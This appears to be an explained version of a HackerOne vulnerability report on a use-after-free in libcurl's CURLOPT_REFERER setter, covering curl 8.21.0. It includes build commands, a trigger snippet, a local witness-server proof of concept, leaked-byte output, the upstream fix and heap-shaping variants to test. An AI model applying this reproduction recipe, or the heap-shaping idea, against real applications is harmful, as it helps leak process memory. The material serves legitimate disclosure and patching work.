  • evidence/leak_shaped_10runs.txt: heap-shaped arm, same bytes
  • evidence/layout_determinism.txt: 3/3 identical process layouts under proot
  • evidence/poc_vuln_commit_output.txt: ASan transcript at ff300ac4aa (x86-64)
  • evidence/poc_fixed_head_output.txt: clean transcript at master HEAD
  • Commits: [redacted] (introduces, 2026-06-01), [redacted] (fixes, 2026-08-27); the fix references #22709 (closed as a PR without merge, the fix commit carries "Closes #22709")
  • Regression test: tests/data/test2397 and tests/libtest/lib2397.c (301 redirect, round-tripped Referer asserted intact)
  • Related prior report: HackerOne #3774279 (referer dangling-read, same API family)
  • Original submission: HackerOne #3971462 (closed Informative, 2026-09-15)

Variants to test

  1. Audit every setopt handler that frees a buffer and then copies the new value. A positive result is a handler where the free happens before the copy and the getter for the same option returns a pointer into the freed buffer.
  2. Test other getter/setter pairs that share a buffer, such as CURLINFO_EFFECTIVE_URL with its setter. A positive result is a getter pointer that, when fed back into the setter, is read after being freed.
  3. Add a same-size malloc/free between the getinfo and setopt calls, as the shaped arm does. A positive result is leaked bytes that change with the heap shaping, showing the freed chunk can be reclaimed with controlled content.
  4. Run the same harness under ASan on a platform where ASan works. A positive result is a heap-use-after-free report pointing at the strlen in Curl_setstropt with the free in Curl_bufref_free.
  5. Compare a plain build against a build with the fix. A positive result is the plain build leaking non-string bytes on the wire while the fixed build keeps the referer intact on both paths.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 26 min read.

What happened, in plain words

A library called libcurl has a small option that lets a program tell it what to put in a particular line of an outgoing web request, the Referer: line. That line normally says which page the user came from, a bit like writing "I got here from that page" on a form. A bug in one version of libcurl meant that, in one specific situation, instead of sending the page address the program asked for, libcurl sent a few random leftover bytes from the computer's memory. Those bytes were then visible to whatever web server received the request.

The situation is narrow. The program has to ask libcurl for the current referer value, get back a pointer (a memory address) to where libcurl keeps it, and then hand that same pointer straight back to libcurl as the new value. That is the specific sequence the report describes. When it happens, libcurl frees the memory first and reads it afterwards, which is the classic "use after free" mistake. The read returns whatever the memory manager wrote into that freed space, and those bytes go out on the wire.

The bug existed in libcurl between 1 June 2026 and 27 August 2026. Exactly one official release, curl 8.21.0, was published inside that window, so that is the release that needs attention. The fix landed upstream on 27 August 2026. The report was filed on HackerOne on 15 September 2026 and was closed as Informative. The researcher accepts that outcome and presents the document as a careful verification record rather than a request to reopen.

The pieces involved

Before the details, a few words that come up constantly.

  • libcurl is a piece of software that many programs use to make network requests, the way a postal service delivers letters for lots of different businesses. The curl command you may have typed in a terminal is one program built on top of libcurl, but many other programs use libcurl directly.
  • An API is the set of instructions one piece of software offers to another. Think of a restaurant menu: you do not go into the kitchen, you pick from a list and the kitchen does the work. libcurl's menu includes functions such as curl_easy_setopt (set an option) and curl_easy_getinfo (ask for information).
  • A handle is a small object that represents one ongoing conversation with a server. You create it, set options on it, perform requests with it, and clean it up. It is like a named file folder that keeps everything about one job together.
  • A header is a line of extra information sent alongside a web request or response, separate from the actual content. The Referer: header is one of these.
  • A pointer is a memory address, a number that says where in the computer's memory some data lives. Passing a pointer around is like giving someone the shelf number where a book sits rather than photocopying the book.
  • The heap is the area of memory a program uses for data whose size is only known while it runs. When a program needs space it asks the memory manager for a block; when it is done it gives the block back, which is called freeing it.
  • Use after free (the vulnerability class, CWE-416) means a program keeps using a block of memory after giving it back. The memory manager is then free to reuse or overwrite that block, so whatever the program reads is no longer what it put there. It is like handing your hotel key back at reception and then walking into the room anyway: the room may already have been cleaned, rearranged, or given to someone else.
  • CWE-908 (Use of Uninitialized Resource) and CWE-200 (Exposure of Sensitive Information) are catalogue labels for the consequences: using data that was never properly set up, and letting information reach someone who should not see it.
  • ASan, the AddressSanitizer, is a tool that watches a program's memory use and shouts when it sees a use after free. It is like a building inspector following the program around.
  • glibc is the standard C library on Linux, and its tcache is a small fast cache of recently freed memory blocks. When a block is freed, glibc writes a little bookkeeping data into it so it can be found again later.
  • ASLR is address space layout randomisation: the operating system shuffles where things sit in memory each time a program starts, so addresses are not predictable.
  • proot is a tool that runs a Linux environment inside another one, often used on Android through the Termux app. It tends to give programs fixed memory layouts.

The affected code

libcurl exposes the CURLOPT_REFERER option through curl_easy_setopt, letting an application set the value that libcurl sends in the outbound Referer: header. Internally the referer is held in a Curl_bufref structure (data->state.referer), and the getter CURLINFO_REFERER returns a pointer straight into that buffer via Curl_bufref_ptr(&data->state.referer) (lib/getinfo.c:145).

In plain terms: the referer value lives in a small container inside libcurl. The setter puts a value in, the getter hands out the address of the value already there. Nothing in that arrangement is unusual on its own.

The affected code paths named in the report are:

  • lib/setopt.c, the CURLOPT_REFERER handler of curl_easy_setopt
  • lib/bufref.c (Curl_bufref_free)
  • the CURLINFO_REFERER getter (lib/getinfo.c:145)
  • referer emission (lib/http.c:2941-2945)
  • pretransfer sync (lib/transfer.c:511-512)

Each of those is a file and a line range in the libcurl source code. The handler is the code that runs when you set the option; Curl_bufref_free is the code that releases the container's memory; the getter is the code that hands out the address; the emission code is what writes the header into the request; and the pretransfer sync is a step that copies the stored option into the live request state just before the request goes out.

The weakness is CWE-416 (Use After Free), with the consequence classified as CWE-908 (Use of Uninitialized Resource) / CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): stale heap bytes copied into an outbound HTTP header.

The affected window runs from commit [redacted] (2026-06-01, "setopt: defref the old referer when setting a new") up to, but not including, [redacted] (2026-08-27, "setopt: allow setting a referer from CURLINFO_REFERER", verified by test 2397).

A commit is a saved change to a codebase, identified by a long hexadecimal string. The window is the stretch of history between the commit that introduced the bug and the commit that fixed it. The first commit's message is "setopt: defref the old referer when setting a new".

Release mapping, verified on 2026-09-27 through the GitHub compare API: tag curl-8_21_0 (2026-06-24) contains the vulnerable commit and not the fix, so curl 8.21.0 is affected. Tag curl-8_22_0 (2026-09-02) contains the fix and is not affected. No other tagged release falls inside the window. Master after d0247689, and any build carrying the backport, are not affected.

A tag is a label attached to one point in a codebase's history, usually marking a release. "Master" is the main development line. A backport is taking a fix written for the latest code and applying it to an older release so that older release can be patched without upgrading everything.

Setting up the test

The trigger is an application-side pointer round-trip: getinfo(CURLINFO_REFERER) followed by setopt(CURLOPT_REFERER, same pointer). The curl CLI cannot trigger it, which the researcher verified with curl --libcurl. The original HackerOne submission (#3971462, filed 2026-09-15) was triaged as Informative, and the write-up accepts that outcome; it is presented as the formatted verification record of the finding, not a request to reopen. The researcher's own independent assessment is Low: the memory error is real and deterministic, reproduced under ASan and on the wire in plain builds on two architectures, but exploitation requires the application-side composition above. The actionable part for maintainers is that a tagged release sits inside the window.

A round-trip here means taking a value out through one function and putting it straight back in through another. The curl command-line tool cannot do this because it does not write code that calls the getter and then the setter; only a program using libcurl as a library can. curl --libcurl is a curl option that prints the equivalent libcurl code for a command, which is how the researcher checked that the command-line tool never produces this pattern.

"Deterministic" means the same thing happens every time, not just sometimes. "Low" is a severity rating: real but hard to reach. "Informative" is the triage outcome the report records.

The proof of concept is a harness made of poc/poc.c (dual-path: control, aliased, shaped) plus poc/server.py / poc/server_hex.py, a redirect chain and wire witness that prints the exact received bytes. The all-in-one variant embeds the witness server in a thread and runs both arms in one process.

A harness is a small test rig built to exercise one specific behaviour. "Dual-path" means it runs the same scenario twice, once the safe way (control) and once the dangerous way (aliased). "Shaped" means a variant that deliberately nudges the memory manager beforehand. A thread is a second line of execution inside the same program, so the test server and the test client can run side by side in one binary. A witness is the test server whose only job is to report exactly what it received.

Builds and runs were verified on two environments:

Build / path aarch64, Kali/Termux proot, glibc 2.43 x86-64, Ubuntu 22.04, glibc 2.35
ff300ac4aa + ASan, control n/a (ASan cannot run under proot: shadow-memory mapping fails) clean, referer intact
ff300ac4aa + ASan, aliased n/a deterministic heap-use-after-free: READ strlen in Curl_setstropt (setopt.c:90) via curl_easy_setopt from setopt_cptr (setopt.c:2028); FREED by Curl_bufref_free (bufref.c:61) via bufref dtor
ff300ac4aa plain, control clean, witness receives the exact set referer clean
ff300ac4aa plain, aliased exit 0, no crash, witness receives 5 non-string heap bytes 06 ** 02 ** 30 in Referer: exit 0, witness receives 6 varying non-string heap bytes
ff300ac4aa plain, shaped same 5 bytes (10/10) different bytes per run, content is heap-state dependent
master HEAD (d0247689 + test 2397) not run clean on both paths, exit 0

aarch64 and x86-64 are two families of processor instruction sets, so the test ran on two different kinds of machine. "Plain" means a normal build without the memory-checking tool. "Exit 0" means the program finished normally, with no crash. "n/a" means not applicable: ASan needs to reserve a large fixed area of memory for its bookkeeping, and proot's fixed layout does not allow that, so the sanitizer run could not happen there.

Finding it

The vulnerable commit introduced a free-before-read ordering in the CURLOPT_REFERER handler:

C
/* ff300ac4aa (vulnerable): free BEFORE read */
case CURLOPT_REFERER:
    Curl_bufref_free(&data->state.referer);              /* frees */
    result = Curl_setstropt(&s->str[STRING_SET_REFERER], ptr);  /* strlen(ptr) → UAF */
    break;

Line by line:

  1. The comment marks this as the vulnerable version and states the order: free first, read second.
  2. case CURLOPT_REFERER: means this block runs when the program sets the referer option.
  3. Curl_bufref_free(&data->state.referer); gives back the memory that held the old referer. The comment /* frees */ marks it.
  4. result = Curl_setstropt(&s->str[STRING_SET_REFERER], ptr); copies the new value from ptr. To copy a string, the code first has to measure it with strlen, which reads memory. If ptr points at the block that was just given back, that read is a use after free, which the comment /* strlen(ptr) → UAF */ records.
  5. break; ends the block.

Because CURLINFO_REFERER hands out a pointer directly into data->state.referer, passing that pointer back to setopt on the same handle makes ptr alias the buffer that was just freed, and Curl_setstropt reads it with strlen (setopt.c:90). The copied bytes then reach the wire: pretransfer syncs STRING_SET_REFERER into state.referer (transfer.c:511-512) and the request builder emits Referer: %s from it (http.c:2941-2945).

"Alias" means two names for the same piece of memory. Here the getter's pointer and the setter's input are the same address, so freeing through one name and reading through the other is the whole bug. %s is a placeholder in a formatted string meaning "insert a text string here".

The measured mechanism of the leak: under glibc tcache, the freed chunk holds allocator metadata written by free() itself. A MALLOC_PERTURB_ marker experiment (x86-64, glibc 2.35, scrub bytes 0xAA/0x55) showed the leaked bytes do not repaint to the marker. That proves they are post-free allocator writes (tcache fd/key, safe-linking-mangled on glibc 2.32 and later), never stale payload and never valid string data.

MALLOC_PERTURB_ is an environment variable that makes glibc fill freed memory with a chosen byte pattern, so you can tell whether what you read back is old data or something written later. The experiment set the pattern to 0xAA and 0x55 and found the leaked bytes were neither, which means the memory manager wrote over the block after freeing it. fd and key are the bookkeeping fields glibc stores in a freed block; "safe-linking" is a glibc protection that scrambles the stored pointer so it cannot be used directly. The practical point: the leaked bytes are never the old referer and never a readable string.

Upstream fixed it in d0247689 with store-then-free ordering and the explicit comment "free the old after the storing the new in case the input is actually pointing back to this", plus regression test 2397 (301 redirect then a second request, asserting the round-tripped Referer arrives intact). The original report was filed 19 days after the fix was public, which is consistent with the Informative outcome.

"Store then free" means copy the new value first and only then release the old memory, so a pointer that happens to point at the old memory is still valid when it is read. A regression test is an automated test that fails if the bug ever comes back. A 301 redirect is a server reply telling the client to go to a different address instead.

Exploitation

Step 1: build the vulnerable library

Check out libcurl at ff300ac4aa and build a plain (non-sanitizer) shared library:

Bash
cmake -S src -B build-plain -DBUILD_SHARED_LIBS=ON -DBUILD_TESTING=OFF \
  -DBUILD_CURL_EXE=OFF -DCURL_USE_LIBPSL=OFF -DCURL_USE_OPENSSL=OFF \
  -DCMAKE_C_FLAGS="-g -O1" && cmake --build build-plain

Line by line:

  1. cmake -S src -B build-plain tells the build tool CMake to read the source in src and put the results in a folder called build-plain.
  2. -DBUILD_SHARED_LIBS=ON builds a shared library, a file other programs can load at run time, rather than a standalone program.
  3. -DBUILD_TESTING=OFF skips building the test suite, which saves time.
  4. -DBUILD_CURL_EXE=OFF skips building the curl command-line tool, because the command-line tool cannot trigger the bug anyway.
  5. -DCURL_USE_LIBPSL=OFF and -DCURL_USE_OPENSSL=OFF turn off two optional dependencies so the build needs less installed software.
  6. -DCMAKE_C_FLAGS="-g -O1" asks for debug information and light optimisation, which keeps the code easy to follow in a debugger.
  7. && cmake --build build-plain actually compiles everything once the configuration succeeds.

Repeat with -fsanitize=address for the sanitizer leg. The plain build is what demonstrates the on-wire leak; the ASan build gives the deterministic memory-level proof.

Step 2: start the witness server

The witness (poc/server.py) answers GET /r with a 301 to /f, and GET /f prints the exact Referer: bytes it receives. In the all-in-one PoC the witness is a thread inside the same binary: it binds to [redacted] on an ephemeral port, accepts six requests, parses the Referer: header out of each request, and answers /r with a redirect and everything else with a 200.

[redacted] is the address a computer uses to talk to itself. An ephemeral port is a port number the operating system picks automatically so the test does not collide with anything else. GET /r and GET /f are two request paths on that local server. A 200 is the standard "OK" reply.

Step 3: fill the referer and round-trip the getter pointer into the setter

On one easy handle, perform GET /r with CURLOPT_FOLLOWLOCATION | CURLOPT_AUTOREFERER, which fills state.referer on the redirect, then round-trip the getter pointer into the setter:

C
char *ref = NULL;
curl_easy_getinfo(curl, CURLINFO_REFERER, &ref);   /* pointer into state.referer */
curl_easy_setopt(curl, CURLOPT_REFERER, ref);      /* frees it, then strlen reads it */

Line by line:

  1. char *ref = NULL; declares a variable that will hold an address, starting empty.
  2. curl_easy_getinfo(curl, CURLINFO_REFERER, &ref); asks libcurl for the current referer and stores its address in ref. The comment notes that this address points inside libcurl's own storage.
  3. curl_easy_setopt(curl, CURLOPT_REFERER, ref); sets the referer to that same address. The comment notes the order inside the handler: it frees the old value, then measures the new one with strlen, which is the read of freed memory.

CURLOPT_FOLLOWLOCATION tells libcurl to follow redirects automatically, and CURLOPT_AUTOREFERER tells it to fill in the referer automatically when it follows one. The first request is needed because it is what puts a real referer value into libcurl's storage, giving the getter something to hand out.

The control arm instead sets a fresh string with no aliasing:

C
curl_easy_setopt(h, CURLOPT_REFERER, "http://control.example/fresh");

This line sets the referer to a brand-new piece of text that lives in the program's own memory, not in libcurl's freed block. It is the comparison case: same program, same server, same sequence, only the input differs.

Step 4: perform a second transfer

A second transfer to /f follows, and the witness prints what arrived on the wire. The control path (fresh string, no aliasing) is clean on the same build. The same two-path harness against master (which contains d0247689 and test 2397) is clean on both paths, exit 0. A shaped variant adds a same-size malloc(24)/free before setopt to document heap-state dependence.

The second transfer to /f is where the witness prints what arrived on the wire. malloc(24) asks for a 24-byte block and free gives it back, a same-size allocation used to document heap-state dependence. "Heap-state dependence" means the leaked bytes change depending on what else the program has been doing with memory.

Step 5: build and run the all-in-one PoC

The PoC source is written to /tmp/curlpoc/poc_allinone.c and compiled against the plain build:

Bash
gcc poc_allinone.c -Isrc/include -Ibuild-plain/include -Lbuild-plain/lib -lcurl \
  -Wl,-rpath,$PWD/build-plain/lib -lpthread -g -O1 -o poc_allinone

Line by line:

  1. gcc poc_allinone.c compiles the single C file.
  2. -Isrc/include -Ibuild-plain/include tells the compiler where to find libcurl's header files, the files that describe what functions exist.
  3. -Lbuild-plain/lib -lcurl tells the linker where the freshly built libcurl lives and to link against it.
  4. -Wl,-rpath,$PWD/build-plain/lib records that location inside the program so it finds the right libcurl at run time instead of any system copy.
  5. -lpthread links the threading library, needed because the witness runs in a thread.
  6. -g -O1 keeps debug information and light optimisation.
  7. -o poc_allinone names the output program.
Bash
LD_LIBRARY_PATH=build-plain/lib ./poc_allinone \
  | tee /root/codebase/curl_referer_uaf/evidence/poc_allinone_output.txt

LD_LIBRARY_PATH is an environment variable that tells the program where to look for shared libraries at run time. tee shows the output on screen and also saves a copy to the evidence file, so the result can be checked later.

The run output:

Text
witness listening on [redacted]:44239

=== ARM control  perform=0 referer=0x3000026670 'http://[redacted]:44239/r'
=== ARM control  setopt(CURLOPT_REFERER, fresh string)
=== ARM control  final perform=0

=== ARM aliased  perform=0 referer=0x3000026560 'http://[redacted]:44239/r'
=== ARM aliased  setopt(CURLOPT_REFERER, getter ptr)   <-- aliasing
=== ARM aliased  final perform=0

=== WITNESS SUMMARY ===
[0] ctrl /r     len=0 raw=""  hex=
[1] ctrl auto   len=24 raw="http://[redacted]:44239/r"  hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72
[2] ctrl FINAL  len=28 raw="http://control.example/fresh"  hex=68 74 74 70 3a 2f 2f 63 6f 6e 74 72 6f 6c 2e 65 78 61 6d 70 6c 65 2f 66 72 65 73 68
[3] alias /r    len=0 raw=""  hex=
[4] alias auto  len=24 raw="http://[redacted]:44239/r"  hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72
[5] alias FINAL len=5 raw=".h..0"  hex=86 68 02 03 30

=== VERDICT ===
control FINAL intact ............ YES
aliased FINAL non-ASCII heap bytes: YES
aliased FINAL != legit referer .. YES

RESULT: LEAK - stale heap bytes transmitted in Referer: (UAF confirmed, not a harness artifact: identical client/server, only the setopt input differs between arms)

How to read it:

  1. The first line says the witness is listening on a local port, 44239 in this run.
  2. The control arm performs the first request successfully (perform=0, where 0 means success), and the getter returns the address 0x3000026670 holding the expected referer.
  3. The control arm then sets a fresh string and performs the final request, again successfully.
  4. The aliased arm does the same first request, gets the address 0x3000026560, and then sets the referer to that very address, which is the aliasing step.
  5. The witness summary lists six requests. Entries 0 and 3 are the first requests to /r, which carry no referer, so they are empty. Entries 1 and 4 are the automatic referers on the redirect, both the correct address. Entry 2 is the control's final request, carrying exactly http://control.example/fresh. Entry 5 is the aliased final request, carrying five bytes, 86 68 02 03 30, shown as .h..0 because most of them are not printable characters.
  6. The verdict checks three things: the control's final referer is intact, the aliased final referer contains non-ASCII bytes, and the aliased final referer differs from the legitimate one. All three are YES, so the harness reports a leak.

Both arms complete with perform=0 and no crash. The control arm's final request carries the exact fresh referer. The aliased arm's final request carries five bytes, 86 68 02 03 30, which are not a valid string and differ from the legitimate referer the same handle had just produced. The verdict logic checks three things: the control final referer is intact, the aliased final referer contains non-ASCII bytes, and the aliased final referer differs from the legitimate one. All three hold, so the harness reports a leak.

What the evidence shows

  • On-wire disclosure: stale bytes are actually transmitted, not merely readable. The witness log is in evidence/poc_wire_plain_output.txt.
  • Determinism is a property of process layout, not of the mechanism. Under proot (fixed mappings, verified 3/3 separate process launches producing identical heap and text addresses, evidence/layout_determinism.txt) the leaked bytes are identical 10/10 runs in both arms (evidence/leak_determinism_hex.txt, evidence/leak_shaped_10runs.txt). Under active ASLR (x86-64) every run differs.
  • Metadata, not payload: MALLOC_PERTURB_=85/170 does not repaint the leaked bytes, so they are written after the free-scrub, by free() itself (tcache fd/key, safe-linking-mangled). By construction they are never valid string data.
  • No other affected handler: a sweep of every Curl_bufref_free call site in setopt.c at the vulnerable revision found exactly one free-then-read violation (referer). CURLOPT_CURLU is free-then-store and safe. CURLINFO_EFFECTIVE_URL (getinfo.c:90) shares the aliasing hazard, but no curl-internal path reads the stale pointer, so there is no UAF inside curl from that getter.

"Process layout" means where the operating system places the program's code and data in memory. When that layout is fixed, the same bytes appear every time; when ASLR shuffles it, the bytes change. A call site is a place in the code where a particular function is called. A sweep means checking every one of those places, so the report can say the bug is not repeated elsewhere in the same file. CURLOPT_CURLU is another option that frees and then stores, in the safe order. CURLINFO_EFFECTIVE_URL is a getter with the same aliasing shape, but nothing inside curl reads the stale pointer, so it does not produce this bug on its own.

Screenshot_20260927_165002_Termux.jpg
Screenshot_20260927_165002_Termux.jpg From the original on HackerOne
Screenshot_20260927_165009_Termux.jpg
Screenshot_20260927_165009_Termux.jpg

Root cause

The handler frees the old referer buffer before copying the new value, and the getter hands out a pointer into that same buffer. When the application passes the getter's pointer back as the setter's input, the copy reads memory that has already been released. The read is a strlen in Curl_setstropt, so the length and the bytes both come from the freed chunk. The freed chunk under glibc tcache contains allocator metadata written by free() itself, which is why the leaked bytes are never the old referer and never a valid string.

In everyday terms: the code tidies away the old note before reading the new one, and the new one is written on the back of the old note. strlen is the function that counts how many characters a string has, and it does so by reading memory until it finds a zero byte. If the memory has been reused for bookkeeping, the count and the characters are both nonsense.

The bug is an ordering mistake inside the handler, not a missing check on the input.

Impact

An application that round-trips the CURLINFO_REFERER pointer into CURLOPT_REFERER causes libcurl to copy stale heap bytes into the outgoing Referer: header, disclosing them to every server the subsequent request reaches. This was measured live, with no crash. The bytes are allocator metadata (tcache fd/key, ASLR material). If an application allocates between the getinfo and setopt calls, the freed chunk can be reclaimed with attacker-influenced content, which would upgrade the leak to content disclosure; that variant was not exercised. Exposure is limited to libcurl builds from the affected window, notably curl 8.21.0, and to applications performing this specific round-trip. The curl CLI cannot trigger it.

"Reclaimed" means the freed block gets handed out again to a new request for memory. If an attacker can influence what goes into that new block, the leaked bytes could become something more interesting than bookkeeping data. The report is careful to say that variant was not tested.

As an open vulnerability the business impact is minimal: the bug was fixed upstream 19 days before the original report was filed, and exactly one tagged release (8.21.0, 2026-06-24) ships inside the window, so remediation is a single backport decision for affected maintainers. The durable value of the record is the verified commit-and-release window plus the mechanism-grade evidence (two-architecture wire reproduction, MALLOC_PERTURB_ attribution, empirical layout determinism) and the closed pattern audit, which suits a distribution security note referencing d0247689 or an end-to-end verification case study.

"Remediation" is the act of fixing. "Mechanism-grade evidence" means evidence that shows not just that something happened but how. "Empirical" means measured rather than assumed. A "pattern audit" is a check for the same mistake elsewhere.

Fix

Upstream already fixed this in d0247689 (2026-08-27) by switching to store-then-free ordering, with regression coverage in test 2397 / lib2397.c. Packagers of curl 8.21.0, the one affected tagged release, should backport d0247689 (small, carries the test) or rebuild from 8.22.0.

"Carries the test" means the fix commit includes the regression test, so applying the fix also gives you the check that it stays fixed.

At the application level, strdup the CURLINFO_REFERER value before passing it to CURLOPT_REFERER, and avoid reusing getinfo pointers as setopt inputs generally.

strdup makes a fresh copy of a string in new memory, so the setter is not given the getter's pointer. The general advice is the same idea applied everywhere: do not hand a getter's pointer straight back to a setter.

For pattern auditing, other setopt handlers built on Curl_bufref_free plus Curl_setstropt deserve the same ordering check. The audit at the vulnerable revision covered 2 call sites and found 1 violation (referer); CURLOPT_CURLU was safe.

Supporting material referenced in the report:

  • evidence/poc_wire_plain_output.txt: witness log, stale bytes received on the wire (aarch64 plain build)
  • evidence/leak_determinism_10runs.txt and leak_determinism_hex.txt: 10/10 identical leaks 06 66 02 03 30 (aliased, aarch64)
  • evidence/leak_shaped_10runs.txt: heap-shaped arm, same bytes
  • evidence/layout_determinism.txt: 3/3 identical process layouts under proot
  • evidence/poc_vuln_commit_output.txt: ASan transcript at ff300ac4aa (x86-64)
  • evidence/poc_fixed_head_output.txt: clean transcript at master HEAD
  • Commits: [redacted] (introduces, 2026-06-01), [redacted] (fixes, 2026-08-27); the fix references #22709 (closed as a PR without merge, the fix commit carries "Closes #22709")
  • Regression test: tests/data/test2397 and tests/libtest/lib2397.c (301 redirect, round-tripped Referer asserted intact)
  • Related prior report: HackerOne #3774279 (referer dangling-read, same API family)
  • Original submission: HackerOne #3971462 (closed Informative, 2026-09-15)

A transcript is the saved output of a run. A PR (pull request) is a proposed change to a codebase that maintainers review before merging. "Dangling-read" means reading through a pointer whose target has been released, the same family of mistake as this one.

Variants to test

  1. Audit every setopt handler that frees a buffer and then copies the new value. A positive result is a handler where the free happens before the copy and the getter for the same option returns a pointer into the freed buffer.
  2. Test other getter/setter pairs that share a buffer, such as CURLINFO_EFFECTIVE_URL with its setter. A positive result is a getter pointer that, when fed back into the setter, is read after being freed.
  3. Add a same-size malloc/free between the getinfo and setopt calls, as the shaped arm does. A positive result is leaked bytes that change with the heap shaping, showing the freed chunk can be reclaimed with controlled content.
  4. Run the same harness under ASan on a platform where ASan works. A positive result is a heap-use-after-free report pointing at the strlen in Curl_setstropt with the free in Curl_bufref_free.
  5. Compare a plain build against a build with the fix. A positive result is the plain build leaking non-string bytes on the wire while the fixed build keeps the referer intact on both paths.

Each of these is a way to look for the same mistake elsewhere or to strengthen the proof. "Controlled content" means the attacker, or the test, decides what lands in the reused block.

Glossary

  • API: the set of instructions one piece of software offers to another, like a menu you order from.
  • ASan (AddressSanitizer): a tool that watches a program's memory and reports misuse such as use after free.
  • ASLR: address space layout randomisation, the operating system shuffling where things sit in memory each run.
  • aarch64: a family of processor instruction sets, common on phones and ARM servers.
  • Alias: two names for the same piece of memory.
  • Backport: applying a fix written for the latest code to an older release.
  • Call site: a place in the code where a particular function is called.
  • Commit: a saved change to a codebase, identified by a long hexadecimal string.
  • Control arm: the safe comparison run of a test, using a fresh value instead of the dangerous one.
  • CWE-200: a catalogue label for exposing sensitive information to someone who should not see it.
  • CWE-416: a catalogue label for use after free.
  • CWE-908: a catalogue label for using a resource that was never properly set up.
  • Dangling read: reading through a pointer whose target has already been released.
  • Deterministic: happening the same way every time.
  • Ephemeral port: a port number the operating system picks automatically for a connection.
  • Free: giving a block of memory back to the memory manager.
  • glibc: the standard C library on Linux, which includes the memory manager.
  • Handle: a small object representing one ongoing conversation with a server.
  • Harness: a small test rig built to exercise one specific behaviour.
  • Header: a line of extra information sent alongside a web request or response.
  • Heap: the area of memory a program uses for data whose size is only known while it runs.
  • Informative: a HackerOne triage outcome meaning the report was recorded but not treated as a vulnerability to be fixed through the bounty process.
  • libcurl: a library many programs use to make network requests.
  • malloc: the function that asks the memory manager for a block of memory.
  • MALLOC_PERTURB_: an environment variable that makes glibc fill freed memory with a chosen byte pattern.
  • Packager: the person or team who turns source code into an installable package for a distribution.
  • Pointer: a memory address saying where some data lives.
  • PR (pull request): a proposed change to a codebase that maintainers review before merging.
  • proot: a tool that runs a Linux environment inside another one, often on Android through Termux.
  • Reclaimed: a freed block of memory being handed out again to a new request.
  • Regression test: an automated test that fails if a fixed bug ever comes back.
  • Remediation: the act of fixing a problem.
  • Round-trip: taking a value out through one function and putting it straight back in through another.
  • Safe-linking: a glibc protection that scrambles pointers stored in freed memory.
  • strdup: a function that makes a fresh copy of a string in new memory.
  • strlen: a function that counts a string's characters by reading memory until it finds a zero byte.
  • Tag: a label attached to one point in a codebase's history, usually marking a release.
  • tcache: glibc's small fast cache of recently freed memory blocks.
  • Thread: a second line of execution inside the same program.
  • Transcript: the saved output of a run.
  • Use after free: using a block of memory after giving it back, so what you read is no longer what you put there.
  • Witness: a test server whose only job is to report exactly what it received.
  • x86-64: a family of processor instruction sets, common on desktop and server computers.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.